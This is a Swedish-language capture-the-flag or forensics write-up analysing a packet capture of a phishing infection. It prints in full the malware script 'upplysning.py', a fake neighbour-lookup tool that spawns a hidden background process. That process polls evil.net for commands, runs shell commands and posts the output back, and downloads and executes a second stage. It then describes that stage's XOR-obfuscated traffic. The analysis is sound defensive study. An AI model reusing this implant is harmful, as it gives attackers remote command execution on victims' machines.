Grannupplysningen

172.23.0.3 är Anders IP

I frame 64 öppnas mailet som innehåller länkar till malware (upplysning.py)

I frame 108 laddas malware ner och i frame 112 kan vi se hela python scriptet

def main():
    print('V..lkommen till Grannupplysningen!')
    name = input('Ange ditt namn: ')
    input('Ange din adress: ')
    input('Ange din postadress: ')
    print('Kunde inte hitta n..gra grannar f..r %s! F..rs..k igen senare.' % name)


def payload():
    import requests
    import time
    import subprocess
    import urllib.parse
    import gzip
    
    session = requests.session()

    while True:
        response = session.get('http://evil.net/beacon_1').json()
        
        if response['command'] == 'sleep':
            time.sleep(response.get('parameters', [3])[0])

        elif response['command'] == 'shell':
            output = subprocess.check_output(response.get('parameters')[0], shell=True)
            session.post('http://evil.net/shell_1', json={'output': urllib.parse.quote(output, safe='')})

        elif response['command'] == 'download_and_execute':
            new_payload = session.get(response.get('parameters')[0]).content
            session_id = session.cookies['id']
            exec(new_payload, globals(), locals())
            break


if __name__ == '__main__':
    if '--payload' in sys.argv:
        payload()
    else:
        os.system('python3 %s --payload &> /dev/null &' % sys.argv[0])
        main()

Sen ser man hur Anders dator börjar pinga /beacon_1 för att få instruktioner.

Till en början får han bara tillbaka sleep men i frame 311 så skickar servern kommandot: whoami

Anders dator svarar med Anders%0A (Anders + newline)

Sen fortsätter beacon svara med sleep fram tills frame 385 där stage_2 börjar:

Här är python-koden för stage_2 (finns i tcp stream 24)

Några highlights här är att den använder en XOR funktion för att kryptera/obfuskera trafik eller meddelanden. Den nyckeln baseras på datorns MAC-address och den skickas till C2 servern här:

Därefter börjar huvudloopen som liknar det första scriptet (upplysning.py) med den skillnaden att här används XOR för obfuskering.

Tittar vi vidare på trafiken så ser vi att nyckeln skickas i fram 407 och den är "AkKsFwAD". Den kommer hjälpa oss att dekryptera XOR-strängarna vi förmodligen kommer se snart.

Nedan är ett python script som använder nyckeln och dekrypterar strängar.

Testar vi den på frame 423 som är ett svar på GET /beacon_2 så får vi:

Gräver vi vidare i pcap filen och letar efter krypterade strängar så hittar vi den första som inte är sleep i frame 495.

På rad 741 så kommer en binär. Förmodligen en python binär?

To be continued!

Last updated